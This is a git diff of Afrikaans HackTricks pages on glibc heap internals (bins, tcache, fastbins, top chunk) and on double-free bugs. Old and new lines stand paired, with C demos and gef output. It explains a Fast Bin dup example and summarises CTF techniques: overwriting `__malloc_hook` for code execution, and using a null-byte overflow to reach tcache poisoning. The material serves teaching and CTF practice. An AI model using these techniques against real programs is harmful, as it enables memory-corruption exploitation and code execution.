* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
Om die doeltreffendheid van hoe stukke gestoor word te verbeter, is elke stuk nie net in een gekoppelde lys nie, maar daar is verskeie tipes. Dit is die bins en daar is 5 tipes bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) klein bins, 63 groot bins, 1 ongesorteerde bin, 10 vinnige bins en 64 tcache bins per draad.
Om die doeltreffendheid van hoe stukke gestoor word te verbeter, is elke stuk nie net in een gekoppelde lys nie, maar daar is verskeie tipes. Dit is die bakkies en daar is 5 tipes bakkies: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) klein bakkies, 63 groot bakkies, 1 ongesorteerde bak, 10 vinnige bakkies en 64 tcache bakkies per draad.
Die aanvanklike adres vir elke ongesorteerde, klein en groot bins is binne dieselfde reeks. Die indeks 0 word nie gebruik nie, 1 is die ongesorteerde bin, bins 2-64 is klein bins en bins 65-127 is groot bins.
Die aanvanklike adres vir elke ongesorteerde, klein en groot bakkies is binne dieselfde reeks. Die indeks 0 word nie gebruik nie, 1 is die ongesorteerde bak, bakkies 2-64 is klein bakkies en bakkies 65-127 is groot bakkies.
### Tcache (Per-Draad-Kas) Bins
### Tcache (Per-Draad-Kas) Bakkies
Selfs al probeer drade hul eie hoop hê (sien [Arenas](bins-and-memory-allocations.md#arenas) en [Subheaps](bins-and-memory-allocations.md#subheaps)), is daar die moontlikheid dat 'n proses met baie drade (soos 'n webbediener) **die hoop met ander drade sal deel**. In hierdie geval is die hoofoplossing die gebruik van **sluiters**, wat dalk die drade aansienlik **verlangs**.
Selfs al probeer drade hul eie hoop hê (sien [Arenas](bins-and-memory-allocations.md#arenas) en [Subheaps](bins-and-memory-allocations.md#subheaps)), is daar die moontlikheid dat 'n proses met baie drade (soos 'n webbediener) **die hoop met ander drade sal deel**. In hierdie geval is die hoofoplossing die gebruik van **slotte**, wat dalk die drade aansienlik **verlangs**.
Daarom is 'n tcache soortgelyk aan 'n vinnige bin per draad op die manier dat dit 'n **enkele gekoppelde lys** is wat nie stukke saamvoeg nie. Elke draad het **64 enkelgekoppelde tcache bins**. Elke bin kan 'n maksimum van [7 stukke van dieselfde grootte hê](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) wat wissel van [24 tot 1032B op 64-bitsisteme en 12 tot 516B op 32-bitsisteme](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
Daarom is 'n tcache soortgelyk aan 'n vinnige bak per draad op die manier dat dit 'n **enkele gekoppelde lys** is wat nie stukke saamvoeg nie. Elke draad het **64 enkelgekoppelde tcache bakkies**. Elke bak kan 'n maksimum van [7 stukke van dieselfde grootte hê](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) wat wissel van [24 tot 1032B op 64-bitsisteme en 12 tot 516B op 32-bitsisteme](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**Wanneer 'n draad 'n stuk vrymaak**, as dit nie te groot is om in die tcache toegewys te word nie en die betrokke tcache bin **nie vol is** (reeds 7 stukke), **sal dit daar toegewys word**. As dit nie na die tcache kan gaan nie, sal dit moet wag vir die hoopsluit om die vrymaakoperasie globaal uit te voer.
**Wanneer 'n draad 'n stuk vrymaak**, as dit nie te groot is om in die tcache toegewys te word nie en die betrokke tcache bak **nie vol is** (reeds 7 stukke), **sal dit daar toegewys word**. As dit nie na die tcache kan gaan nie, sal dit moet wag vir die hoopsluiting om die vrymaakoperasie globaal uit te voer.
Wanneer 'n **stuk toegewys word**, as daar 'n vrye stuk van die benodigde grootte in die **Tcache is, sal dit dit gebruik**, indien nie, sal dit moet wag vir die hoopsluit om een in die globale bins te vind of 'n nuwe een te skep.\
Daar is ook 'n optimisering, in hierdie geval, terwyl die hoopsluit, sal die draad **sy Tcache met hoopstukke (7) van die gevraagde grootte vul**, sodat as dit meer benodig, dit hulle in die Tcache sal vind.
Wanneer 'n **stuk toegewys word**, as daar 'n vrye stuk van die benodigde grootte in die **Tcache is, sal dit dit gebruik**, indien nie, sal dit moet wag vir die hoopsluiting om een in die globale bakkies te vind of 'n nuwe een te skep.\
Daar is ook 'n optimisering, in hierdie geval, terwyl die hoopsluiting het, sal die draad **sy Tcache met hoopstukke (7) van die versoekte grootte vul**, sodat as dit meer benodig, dit hulle in die Tcache sal vind.
<details>
@ -48,7 +49,7 @@ free(chunk);
return 0;
}
```
Voer dit uit en ontleed dit met 'n breekpunt in die ret-opkode van die hooffunksie. Dan kan jy met gef die tcache-bin in gebruik sien:
Kompileer dit en ontleed dit met 'n breekpunt in die ret-opkode van die hooffunksie. dan kan jy met gef die tcache-bin in gebruik sien:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -159,23 +160,23 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
#### Tcache Indekse
Die tcache het verskeie bins afhangende van die grootte en die aanvanklike aanwysers na die **eerste stuk van elke indeks en die hoeveelheid stukke per indeks is binne 'n stuk geleë**. Dit beteken dat deur die stuk met hierdie inligting te vind (gewoonlik die eerste), dit moontlik is om al die tcache aanvanklike punte en die hoeveelheid Tcache stukke te vind.
Die tcache het verskeie bakkies afhangende van die grootte en die aanvanklike aanwysers na die **eerste brokkie van elke indeks en die hoeveelheid brokkies per indeks is binne 'n brokkie geleë**. Dit beteken dat deur die brokkie met hierdie inligting te vind (gewoonlik die eerste), is dit moontlik om al die tcache aanvanklike punte en die hoeveelheid Tcache brokkies te vind.
### Vinnige bins
### Vinnige bakkies
Vinnige bins is ontwerp om **geheue-toekenning vir klein stukke te versnel** deur onlangs vrygestelde stukke in 'n vinnig-toeganklike struktuur te hou. Hierdie bins gebruik 'n Laaste-In, Eerste-Uit (LIFO) benadering, wat beteken dat die **mees onlangs vrygestelde stuk die eerste** is wat hergebruik word wanneer daar 'n nuwe toekenningsversoek is. Hierdie gedrag is voordelig vir spoed, aangesien dit vinniger is om van die bopunt van 'n stok (LIFO) in te voeg en te verwyder in vergelyking met 'n ry (FIFO).
Vinnige bakkies is ontwerp om **geheue-toekenning vir klein brokkies te versnel** deur onlangs vrygestelde brokkies in 'n vinnig-toegangsstruktuur te hou. Hierdie bakkies gebruik 'n Laaste-In, Eerste-Uit (LIFO) benadering, wat beteken dat die **mees onlangs vrygestelde brokkie die eerste** is wat hergebruik word wanneer daar 'n nuwe toekenningsversoek is. Hierdie gedrag is voordelig vir spoed, aangesien dit vinniger is om van die boonste van 'n stok (LIFO) in te voeg en te verwyder in vergelyking met 'n ry (FIFO).
Daarbenewens **gebruik vinnige bins enkelgelinkte lyste**, nie dubbelgelinkte nie, wat die spoed verder verbeter. Aangesien stukke in vinnige bins nie saamgevoeg word met bure nie, is daar geen behoefte aan 'n komplekse struktuur wat verwydering uit die middel moontlik maak nie. 'n Enkelgelinkte lys is eenvoudiger en vinniger vir hierdie operasies.
Daarbenewens **gebruik vinnige bakkies enkelgelinkte lyste**, nie dubbelgelinkte nie, wat die spoed verder verbeter. Aangesien brokkies in vinnige bakkies nie saamgevoeg word met bure nie, is daar geen behoefte aan 'n komplekse struktuur wat verwydering uit die middel toelaat nie. 'n Enkelgelinkte lys is eenvoudiger en vinniger vir hierdie operasies.
Basies gebeur dit hier dat die kop (die aanwyser na die eerste stuk om te kontroleer) altyd na die mees onlangs vrygestelde stuk van daardie grootte wys. So:
Basies, wat hier gebeur, is dat die kop (die aanwyser na die eerste brokkie om te kontroleer) altyd na die mees onlangs vrygestelde brokkie van daardie grootte wys. So:
* Wanneer 'n nuwe stuk van daardie grootte toegewys word, wys die kop na 'n vry stuk om te gebruik. Aangesien hierdie vry stuk na die volgende een om te gebruik wys, word hierdie adres in die kop gestoor sodat die volgende toekenning weet waar om 'n beskikbare stuk te kry
* Wanneer 'n stuk vrygestel word, sal die vry stuk die adres na die huidige beskikbare stuk stoor en die adres na hierdie nuut vrygestelde stuk sal in die kop geplaas word
* Wanneer 'n nuwe brokkie van daardie grootte toegewys word, wys die kop na 'n vry brokkie om te gebruik. Aangesien hierdie vrye brokkie na die volgende een om te gebruik wys, word hierdie adres in die kop gestoor sodat die volgende toekenning weet waar om 'n beskikbare brokkie te kry
* Wanneer 'n brokkie vrygestel word, sal die vrye brokkie die adres na die huidige beskikbare brokkie stoor en die adres na hierdie nuut vrygestelde brokkie sal in die kop geplaas word
Die maksimum grootte van 'n gelinkte lys is `0x80` en hulle is georganiseer sodat 'n stuk van grootte `0x20` in indeks `0` sal wees, 'n stuk van grootte `0x30` sou in indeks `1` wees...
Die maksimum grootte van 'n gelinkte lys is `0x80` en hulle is georganiseer sodat 'n brokkie van grootte `0x20` in indeks `0` sal wees, 'n brokkie van grootte `0x30` sou in indeks `1` wees...
{% hint style="danger" %}
Stukke in vinnige bins word nie as beskikbaar ingestel nie, sodat hulle as vinnige bin stukke vir 'n ruk gehou word in plaas daarvan om saamgevoeg te kan word met ander vry stukke wat hulle omring nie.
Brokkies in vinnige bakkies word nie as beskikbaar ingestel nie, sodat hulle vir 'n tydperk as vinnige bin-brokkies gehou word in plaas daarvan om met ander vry brokkies om hulle te kan saamvoeg.
{% endhint %}
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
@ -240,9 +241,9 @@ free(chunks[i]);
return 0;
}
```
Merk op hoe ons 8 stukke van dieselfde grootte toewys en vrymaak sodat hulle die tcache vul en die agtste een in die vinnige blok gestoor word.
Merk hoe ons 8 stukke van dieselfde grootte toewys en vrymaak sodat hulle die tcache vul en die agtste een in die vinnige stuk gestoor word.
Kompileer dit en doen foutopsporing daarmee met 'n breekpunt in die `ret` opcode van die `main` funksie. Dan kan jy met `gef` sien dat die tcache-bin vol is en een stuk in die vinnige bin is:
Kompileer dit en doen foutopsporing met 'n onderbreking in die `ret` opcode van die `main` funksie. Dan kan jy met `gef` sien dat die tcache-bin vol is en een stuk in die vinnige bin is:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -253,23 +254,23 @@ Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Ongeordende houer
### Ongesorteerde bin
Die ongeordende houer is 'n **cache** wat deur die geheuebestuurder gebruik word om geheue-toekenning vinniger te maak. So werk dit: Wanneer 'n program 'n stuk vrymaak, en as hierdie stuk nie in 'n tcache of vinnige houer toegewys kan word en nie bots met die boonste stuk nie, plaas die geheuebestuurder dit nie dadelik in 'n spesifieke klein of groot houer nie. Eerder probeer dit om dit **saam te voeg met enige aangrensende vry stukke** om 'n groter blok vry geheue te skep. Dan plaas dit hierdie nuwe stuk in 'n algemene houer genaamd die "ongeordende houer."
Die ongesorteerde bin is 'n **cache** wat deur die heap-bestuurder gebruik word om geheue-toekenning vinniger te maak. So werk dit: Wanneer 'n program 'n stuk vrymaak, en as hierdie stuk nie in 'n tcache of vinnige bin toegewys kan word en nie bots met die boonste stuk nie, plaas die heap-bestuurder dit nie dadelik in 'n spesifieke klein of groot bin nie. Eerder probeer dit om dit **saam te voeg met enige aangrensende vry stukke** om 'n groter blok vry geheue te skep. Dan plaas dit hierdie nuwe stuk in 'n algemene bin genaamd die "ongesorteerde bin."
Wanneer 'n program **vir geheue vra**, kyk die geheuebestuurder na die ongeordende houer om te sien of daar 'n stuk van genoeg grootte is. As dit een vind, gebruik dit dit dadelik. As dit nie 'n geskikte stuk in die ongeordende houer vind nie, skuif dit al die stukke in hierdie lys na hul onderskeie houers, of klein of groot, gebaseer op hul grootte.
Wanneer 'n program **vir geheue vra**, kyk die heap-bestuurder na die ongesorteerde bin om te sien of daar 'n stuk van genoeg grootte is. As dit een vind, gebruik dit dit dadelik. As dit nie 'n geskikte stuk in die ongesorteerde bin vind nie, skuif dit al die stukke in hierdie lys na hul onderskeie bakkies, klein of groot, gebaseer op hul grootte.
Let daarop dat as 'n groter stuk in 2 helftes verdeel word en die res groter as MINSIZE is, sal dit teruggeplaas word in die ongeordende houer.
Let daarop dat as 'n groter stuk in 2 helftes verdeel word en die res groter as MINSIZE is, sal dit teruggeplaas word in die ongesorteerde bin.
Dus is die ongeordende houer 'n manier om geheue-toekenning te versnel deur onlangs vrygemaakte geheue vinnig te hergebruik en die behoefte aan tydrowende soektogte en samenvoegings te verminder.
Dus is die ongesorteerde bin 'n manier om geheue-toekenning te versnel deur onlangs vrygemaakte geheue vinnig te hergebruik en die behoefte aan tydrowende soektogte en samenvoegings te verminder.
{% hint style="danger" %}
Let daarop dat selfs as stukke van verskillende kategorieë is, as 'n beskikbare stuk bots met 'n ander beskikbare stuk (selfs al behoort hulle oorspronklik aan verskillende houers), sal hulle saamgevoeg word.
Let daarop dat selfs as stukke van verskillende kategorieë is, as 'n beskikbare stuk bots met 'n ander beskikbare stuk (selfs as hulle oorspronklik aan verskillende bakkies behoort), sal hulle saamgevoeg word.
{% endhint %}
<details>
<summary>Voeg 'n voorbeeld van 'n ongeordende stuk by</summary>
<summary>Voeg 'n voorbeeld van 'n ongesorteerde stuk by</summary>
```c
#include <stdlib.h>
#include <stdio.h>
@ -297,9 +298,9 @@ free(chunks[i]);
return 0;
}
```
Merk op hoe ons 9 stukke van dieselfde grootte toewys en vrymaak sodat hulle die tcache **vul** en die agtste een in die ongesorteerde bin gestoor word omdat dit **te groot vir die fastbin** is en die negende een nie vrygemaak word nie sodat die negende en die agtste **nie saamgevoeg word met die boonste stuk nie**.
Merk op hoe ons 9 stukke van dieselfde grootte toewys en vrymaak sodat hulle die tcache **vul** en die agtste een in die ongesorteerde binne gestoor word omdat dit **te groot is vir die fastbin** en die negende een nie vrygemaak word nie sodat die negende en die agtste **nie saamgevoeg word met die boonste stuk nie**.
Kompileer dit en ontleed dit met 'n onderbreking in die `ret` opcode van die `main` funksie. Dan kan jy met `gef` sien dat die tcache bin vol is en een stuk in die ongesorteerde bin is:
Kompileer dit en ontleed dit met 'n breekpunt in die `ret` opcode van die `main` funksie. Dan kan jy met `gef` sien dat die tcache bin vol is en een stuk in die ongesorteerde bin is:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -408,7 +409,7 @@ Fastbins[idx=6, size=0x80] 0x00
In teenstelling met klein bakkies, wat brokkies van vaste groottes bestuur, **hanteer elke groot bak 'n reeks brokkie groottes**. Dit is meer buigsaam, wat die stelsel in staat stel om **verskeie groottes** te akkommodeer sonder om 'n afsonderlike bak vir elke grootte nodig te hê.
In 'n geheue-toewysingsprogram begin groot bakkies waar klein bakkies eindig. Die reekse vir groot bakkies word progressief groter, wat beteken dat die eerste bak moontlik brokkies van 512 tot 576 byte kan dek, terwyl die volgende 576 tot 640 byte dek. Hierdie patroon gaan voort, met die grootste bak wat alle brokkies bo 1MB bevat.
In 'n geheue-toewysingsprogram begin groot bakkies waar klein bakkies eindig. Die reekse vir groot bakkies word progressief groter, wat beteken dat die eerste bak dalk brokkies van 512 tot 576 byte dek, terwyl die volgende 576 tot 640 byte dek. Hierdie patroon gaan voort, met die grootste bak wat alle brokkies bo 1MB bevat.
Groot bakkies is stadiger om te bedryf in vergelyking met klein bakkies omdat hulle moet **sorteer en deur 'n lys van wisselende brokkie groottes moet soek om die beste pasgemaakte** vir 'n toekenning te vind. Wanneer 'n brokkie in 'n groot bak ingevoeg word, moet dit gesorteer word, en wanneer geheue toegewys word, moet die stelsel die regte brokkie vind. Hierdie ekstra werk maak hulle **stadiger**, maar aangesien groot toekennings minder algemeen is as klein eenhede, is dit 'n aanvaarbare afweging.
@ -480,9 +481,9 @@ chunks[0] = malloc(0x2000);
return 0;
}
```
2 groot toekenning word uitgevoer, dan word een vrygestel (wat dit in die ongesorteerde houer plaas) en 'n groter toekenning word gemaak (wat die vry een van die ongesorteerde houer na die groot houer skuif).
2 groot toekenning word uitgevoer, dan een word vrygestel (wat dit in die ongesorteerde houer plaas) en 'n groter toekenning word gemaak (wat die vry een van die ongesorteerde houer na die groot houer skuif).
Kompileer dit en ontleed dit met 'n onderbreking in die `ret` opcode van die `main` funksie. dan met `gef` kan jy sien dat die tcache houer vol is en een brokkie in die groot houer is:
Kompileer dit en ontleed dit met 'n breekpunt in die `ret` opcode van die `main` funksie. dan met `gef` kan jy sien dat die tcache houer vol is en een brokkie in die groot houer is:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -531,9 +532,9 @@ the 2 preceding words to be zero during this interval as well.)
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
Hierdie is basies 'n blok wat al die tans beskikbare heap bevat. Wanneer 'n malloc uitgevoer word, as daar nie enige beskikbare vry blokke is om te gebruik nie, sal hierdie boonste blok sy grootte verminder om die nodige spasie te gee. Die aanwyser na die Boonste Blok word gestoor in die `malloc_state` struktuur.
Hierdie is basies 'n blok wat al die tans beskikbare heap bevat. Wanneer 'n malloc uitgevoer word, as daar nie 'n beskikbare vry blok is om te gebruik nie, sal hierdie boonste blok sy grootte verminder om die nodige spasie te gee. Die aanwyser na die Boonste Blok word gestoor in die `malloc_state` struktuur.
Verder is dit aan die begin moontlik om die ongesorteerde blok as die boonste blok te gebruik.
Verder, aan die begin, is dit moontlik om die ongesorteerde blok as die boonste blok te gebruik.
<details>
@ -608,16 +609,17 @@ Kyk na die sekuriteitskontroles wat uitgevoer word deur baie gebruikte funksies
* [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Dubbele Vrylating
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
As jy 'n blok geheue meer as een keer vrymaak, kan dit die data van die toewysingsprogram bederf en die deur oopmaak vir aanvalle. Hier is hoe dit gebeur: wanneer jy 'n blok geheue vrymaak, gaan dit terug na 'n lys van vry blokke (bv. die "vinnige bin"). As jy dieselfde blok twee keer agtermekaar vrymaak, detecteer die toewysingsprogram dit en gooi 'n fout. Maar as jy **'n ander blok vrymaak tussenin, word die dubbele vrylatingstoets omseil**, wat korrupsie veroorsaak.
As jy 'n blok geheue meer as een keer vrylating, kan dit die toewysers se data deurmekaar maak en die deur oopmaak vir aanvalle. Hier is hoe dit gebeur: wanneer jy 'n blok geheue vrylaat, gaan dit terug na 'n lys van vry blokkies (bv. die "vinnige bin"). As jy dieselfde blok twee keer agtermekaar vrylaat, detecteer die toewyser dit en gooi 'n fout. Maar as jy **'n ander blokkie vrylaat tussenin, word die dubbele-vrylating toets omseil**, wat korrupsie veroorsaak.
Nou, wanneer jy nuwe geheue aanvra (deur `malloc` te gebruik), kan die toewysingsprogram jou 'n **blok gee wat twee keer vrygemaak is**. Dit kan lei tot twee verskillende aanwysers wat na dieselfde geheueplek wys. As 'n aanvaller een van daardie aanwysers beheer, kan hulle die inhoud van daardie geheue verander, wat sekuriteitsprobleme kan veroorsaak of selfs hulle in staat stel om kode uit te voer.
Nou, wanneer jy nuwe geheue vra (deur `malloc` te gebruik), kan die toewyser jou 'n **blok gee wat twee keer vrygelaat is**. Dit kan lei tot twee verskillende aanwysers wat na dieselfde geheueplek wys. As 'n aanvaller een van daardie aanwysers beheer, kan hulle die inhoud van daardie geheue verander, wat sekuriteitsprobleme kan veroorsaak of selfs hulle in staat stel om kode uit te voer.
Voorbeeld:
```c
@ -92,7 +93,7 @@ printf("i2: %p\n", (void *)i1);
return 0;
}
```
In hierdie voorbeeld, nadat die tcache met verskeie vrygemaakte blokke (7) gevul is, **vrygestel blok `h`, dan blok `i`, en dan weer `h`, wat 'n dubbele vrystelling veroorsaak** (ook bekend as 'n Fast Bin dup). Dit maak die moontlikheid oop om oorvleulende geheue-adresse te ontvang wanneer herallokeer word, wat beteken dat twee of meer aanwysers na dieselfde geheue-plek kan wys. Deur data te manipuleer deur een aanwyser kan die ander beïnvloed word, wat 'n kritieke veiligheidsrisiko en potensiaal vir uitbuiting skep.
In hierdie voorbeeld, nadat die tcache met verskeie vrygemaakte blokke (7) gevul is, **vry die kode blok `h`, dan blok `i`, en dan weer `h`, wat 'n dubbele vrygawe veroorsaak** (ook bekend as 'n Fast Bin dup). Dit maak die moontlikheid oop om oorvleulende geheue-adresse te ontvang wanneer herverdeling plaasvind, wat beteken dat twee of meer aanwysers na dieselfde geheue-plek kan wys. Die manipulasie van data deur een aanwyser kan dan die ander beïnvloed, wat 'n kritieke veiligheidsrisiko en potensiaal vir uitbuiting skep.
By die uitvoering daarvan, let op hoe **`i1` en `i2` dieselfde adres gekry het**:
@ -106,7 +107,7 @@ f: 0xaaab0f0c2340
g: 0xaaab0f0c2360
h: 0xaaab0f0c2380
i: 0xaaab0f0c23a0
Na hertoekenning:
Na herverdelings:
a1: 0xaaab0f0c2360
b1: 0xaaab0f0c2340
c1: 0xaaab0f0c2320
@ -124,31 +125,32 @@ h1: 0xaaab0f0c2380
* [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
* Ons kan slegs Fast-Bin-grootte blokke toeken behalwe vir grootte `0x70`, wat die gewone `__malloc_hook` oorskrywing voorkom.
* In plaas daarvan gebruik ons PIE-adresse wat met `0x56` begin as 'n teiken vir Fast Bin dup (1/2 kans).
* Een plek waar PIE-adresse gestoor word, is in `main_arena`, wat binne Glibc is en naby `__malloc_hook`.
* Een plek waar PIE-adresse gestoor word, is in `main_arena`, wat binne Glibc is en naby `__malloc_hook` is.
* Ons teiken 'n spesifieke offset van `main_arena` om 'n blok daar toe te ken en voort te gaan om blokke toe te ken totdat ons `__malloc_hook` bereik om kode-uitvoering te kry.
* [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
* Deur gebruik te maak van Tcache-blokke en 'n nul-byte oorvloei, kan ons 'n dubbele-vry-situasie bereik:
* Ons ken drie blokke van grootte `0x110` toe (`A`, `B`, `C`).
* Ons vry `B`.
* Ons vry `A` en ken weer toe om die nul-byte oorvloei te gebruik.
* Nou is `B` se grootteveld `0x100`, in plaas van `0x111`, sodat ons dit weer kan vrymaak.
* Ons het een Tcache-blok van grootte `0x110` en een van grootte `0x100` wat na dieselfde adres wys. Dus het ons 'n dubbele vrystelling.
* Ons maak gebruik van die dubbele vrystelling deur [Tcache-vergiftiging](tcache-bin-attack.md) te gebruik.
* Deur gebruik te maak van Tcache-blokke en 'n nul-byte oorvloei, kan ons 'n dubbele-vry situasie bereik:
* Ons ken drie blokke van grootte `0x110` toe (`A`, `B`, `C`)
* Ons vry `B`
* Ons vry `A` en ken weer toe om die nul-byte oorvloei te gebruik
* Nou is `B` se grootteveld `0x100`, in plaas van `0x111`, sodat ons dit weer kan vrymaak
* Ons het een Tcache-blok van grootte `0x110` en een van grootte `0x100` wat na dieselfde adres wys. Dus het ons 'n dubbele vrygawe.
* Ons maak gebruik van die dubbele vrygawe deur [Tcache-vergiftiging](tcache-bin-attack.md) te gebruik
## Verwysings
* [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free)
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
